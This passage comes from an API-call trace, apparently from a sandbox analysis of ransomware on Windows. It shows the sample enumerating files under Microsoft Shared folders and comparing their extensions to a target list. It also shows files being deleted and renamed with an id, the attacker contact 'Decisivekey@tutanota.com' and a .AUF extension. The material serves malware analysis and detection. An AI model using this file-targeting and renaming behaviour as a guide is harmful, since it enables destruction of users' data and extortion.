lpOverlapped=0x0) returned 1 [0218.421] SetEndOfFile (hFile=0x1d8) returned 1 [0218.421] CloseHandle (hObject=0x1d8) returned 1 [0218.421] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.421] SetEndOfFile (hFile=0x16c) returned 1 [0218.423] CloseHandle (hObject=0x16c) returned 1 [0218.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.423] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0218.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.464] lstrlenW (lpString=".doc") returned 4 [0218.464] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.464] lstrlenW (lpString=".docx") returned 5 [0218.464] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.464] lstrlenW (lpString=".pdf") returned 4 [0218.464] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.464] lstrlenW (lpString=".xls") returned 4 [0218.464] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.464] lstrlenW (lpString=".xlsx") returned 5 [0218.464] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.464] lstrlenW (lpString=".ppt") returned 4 [0218.464] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.464] lstrlenW (lpString=".zip") returned 4 [0218.464] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.464] lstrlenW (lpString=".rar") returned 4 [0218.464] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.464] lstrlenW (lpString=".bz2") returned 4 [0218.464] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.464] lstrlenW (lpString=".7z") returned 3 [0218.464] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.464] lstrlenW (lpString=".dbf") returned 4 [0218.464] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.465] lstrlenW (lpString=".1cd") returned 4 [0218.465] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.468] lstrlenW (lpString=".jpg") returned 4 [0218.468] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.468] lstrlenW (lpString=".doc") returned 4 [0218.468] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.468] lstrlenW (lpString=".docx") returned 5 [0218.468] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.468] lstrlenW (lpString=".pdf") returned 4 [0218.468] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.469] lstrlenW (lpString=".xls") returned 4 [0218.469] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.469] lstrlenW (lpString=".xlsx") returned 5 [0218.469] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.469] lstrlenW (lpString=".ppt") returned 4 [0218.469] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.469] lstrlenW (lpString=".zip") returned 4 [0218.469] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.469] lstrlenW (lpString=".rar") returned 4 [0218.469] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.469] lstrlenW (lpString=".bz2") returned 4 [0218.469] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.469] lstrlenW (lpString=".7z") returned 3 [0218.469] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.469] lstrlenW (lpString=".dbf") returned 4 [0218.469] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.469] lstrlenW (lpString=".1cd") returned 4 [0218.469] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0218.469] lstrlenW (lpString=".jpg") returned 4 [0218.469] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.469] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.469] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0218.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.516] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=3584) returned 1 [0218.516] CloseHandle (hObject=0x1d8) returned 1 [0218.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0218.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.517] lstrlenW (lpString=".doc") returned 4 [0218.517] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.517] lstrlenW (lpString=".docx") returned 5 [0218.517] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.517] lstrlenW (lpString=".pdf") returned 4 [0218.517] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.517] lstrlenW (lpString=".xls") returned 4 [0218.517] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.517] lstrlenW (lpString=".xlsx") returned 5 [0218.517] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.517] lstrlenW (lpString=".ppt") returned 4 [0218.517] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.517] lstrlenW (lpString=".zip") returned 4 [0218.517] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.517] lstrlenW (lpString=".rar") returned 4 [0218.517] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.517] lstrlenW (lpString=".bz2") returned 4 [0218.517] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.517] lstrlenW (lpString=".7z") returned 3 [0218.517] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.517] lstrlenW (lpString=".dbf") returned 4 [0218.517] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.517] lstrlenW (lpString=".1cd") returned 4 [0218.517] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.517] lstrlenW (lpString=".jpg") returned 4 [0218.517] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.517] lstrlenW (lpString=".doc") returned 4 [0218.517] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.517] lstrlenW (lpString=".docx") returned 5 [0218.517] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.517] lstrlenW (lpString=".pdf") returned 4 [0218.517] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.517] lstrlenW (lpString=".xls") returned 4 [0218.517] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.517] lstrlenW (lpString=".xlsx") returned 5 [0218.517] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.517] lstrlenW (lpString=".ppt") returned 4 [0218.517] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.517] lstrlenW (lpString=".zip") returned 4 [0218.518] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.518] lstrlenW (lpString=".rar") returned 4 [0218.518] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.518] lstrlenW (lpString=".bz2") returned 4 [0218.518] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.518] lstrlenW (lpString=".7z") returned 3 [0218.518] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.518] lstrlenW (lpString=".dbf") returned 4 [0218.518] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.518] lstrlenW (lpString=".1cd") returned 4 [0218.518] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0218.518] lstrlenW (lpString=".jpg") returned 4 [0218.518] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.518] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.518] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0218.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.519] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=4096) returned 1 [0218.519] CloseHandle (hObject=0x1d8) returned 1 [0218.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0218.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.519] lstrlenW (lpString=".doc") returned 4 [0218.519] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.519] lstrlenW (lpString=".docx") returned 5 [0218.519] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.519] lstrlenW (lpString=".pdf") returned 4 [0218.519] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.519] lstrlenW (lpString=".xls") returned 4 [0218.519] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.519] lstrlenW (lpString=".xlsx") returned 5 [0218.519] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.519] lstrlenW (lpString=".ppt") returned 4 [0218.519] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.519] lstrlenW (lpString=".zip") returned 4 [0218.519] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.519] lstrlenW (lpString=".rar") returned 4 [0218.519] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.519] lstrlenW (lpString=".bz2") returned 4 [0218.519] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.519] lstrlenW (lpString=".7z") returned 3 [0218.519] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.519] lstrlenW (lpString=".dbf") returned 4 [0218.519] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.519] lstrlenW (lpString=".1cd") returned 4 [0218.519] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.519] lstrlenW (lpString=".jpg") returned 4 [0218.519] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.520] lstrlenW (lpString=".doc") returned 4 [0218.520] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.520] lstrlenW (lpString=".docx") returned 5 [0218.520] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.520] lstrlenW (lpString=".pdf") returned 4 [0218.520] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.520] lstrlenW (lpString=".xls") returned 4 [0218.520] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.520] lstrlenW (lpString=".xlsx") returned 5 [0218.520] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.520] lstrlenW (lpString=".ppt") returned 4 [0218.520] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.520] lstrlenW (lpString=".zip") returned 4 [0218.520] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.520] lstrlenW (lpString=".rar") returned 4 [0218.520] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.520] lstrlenW (lpString=".bz2") returned 4 [0218.520] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.520] lstrlenW (lpString=".7z") returned 3 [0218.520] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.520] lstrlenW (lpString=".dbf") returned 4 [0218.520] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.520] lstrlenW (lpString=".1cd") returned 4 [0218.520] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0218.520] lstrlenW (lpString=".jpg") returned 4 [0218.520] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.520] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0218.520] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0218.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.521] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=193024) returned 1 [0218.521] CloseHandle (hObject=0x1d8) returned 1 [0218.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0218.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.521] lstrlenW (lpString=".doc") returned 4 [0218.521] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0218.521] lstrlenW (lpString=".docx") returned 5 [0218.521] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0218.521] lstrlenW (lpString=".pdf") returned 4 [0218.521] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0218.521] lstrlenW (lpString=".xls") returned 4 [0218.521] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0218.521] lstrlenW (lpString=".xlsx") returned 5 [0218.521] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0218.521] lstrlenW (lpString=".ppt") returned 4 [0218.521] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0218.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.521] lstrlenW (lpString=".zip") returned 4 [0218.521] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0218.521] lstrlenW (lpString=".rar") returned 4 [0218.521] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0218.522] lstrlenW (lpString=".bz2") returned 4 [0218.522] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0218.522] lstrlenW (lpString=".7z") returned 3 [0218.522] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0218.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.522] lstrlenW (lpString=".dbf") returned 4 [0218.522] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0218.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.522] lstrlenW (lpString=".1cd") returned 4 [0218.522] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0218.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.522] lstrlenW (lpString=".jpg") returned 4 [0218.522] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0218.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.522] lstrlenW (lpString=".doc") returned 4 [0218.522] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0218.522] lstrlenW (lpString=".docx") returned 5 [0218.522] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0218.522] lstrlenW (lpString=".pdf") returned 4 [0218.522] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0218.522] lstrlenW (lpString=".xls") returned 4 [0218.522] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0218.522] lstrlenW (lpString=".xlsx") returned 5 [0218.522] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0218.522] lstrlenW (lpString=".ppt") returned 4 [0218.522] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0218.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.522] lstrlenW (lpString=".zip") returned 4 [0218.522] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0218.522] lstrlenW (lpString=".rar") returned 4 [0218.522] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0218.522] lstrlenW (lpString=".bz2") returned 4 [0218.522] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0218.522] lstrlenW (lpString=".7z") returned 3 [0218.522] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0218.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.522] lstrlenW (lpString=".dbf") returned 4 [0218.522] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0218.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.522] lstrlenW (lpString=".1cd") returned 4 [0218.522] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0218.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0218.522] lstrlenW (lpString=".jpg") returned 4 [0218.522] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0218.523] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.523] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0218.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.523] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=3584) returned 1 [0218.523] CloseHandle (hObject=0x1d8) returned 1 [0218.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0218.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.524] lstrlenW (lpString=".doc") returned 4 [0218.524] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.524] lstrlenW (lpString=".docx") returned 5 [0218.524] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.524] lstrlenW (lpString=".pdf") returned 4 [0218.524] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.524] lstrlenW (lpString=".xls") returned 4 [0218.524] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.524] lstrlenW (lpString=".xlsx") returned 5 [0218.524] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.524] lstrlenW (lpString=".ppt") returned 4 [0218.524] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.524] lstrlenW (lpString=".zip") returned 4 [0218.524] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.524] lstrlenW (lpString=".rar") returned 4 [0218.524] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.524] lstrlenW (lpString=".bz2") returned 4 [0218.524] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.524] lstrlenW (lpString=".7z") returned 3 [0218.524] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0218.524] lstrlenW 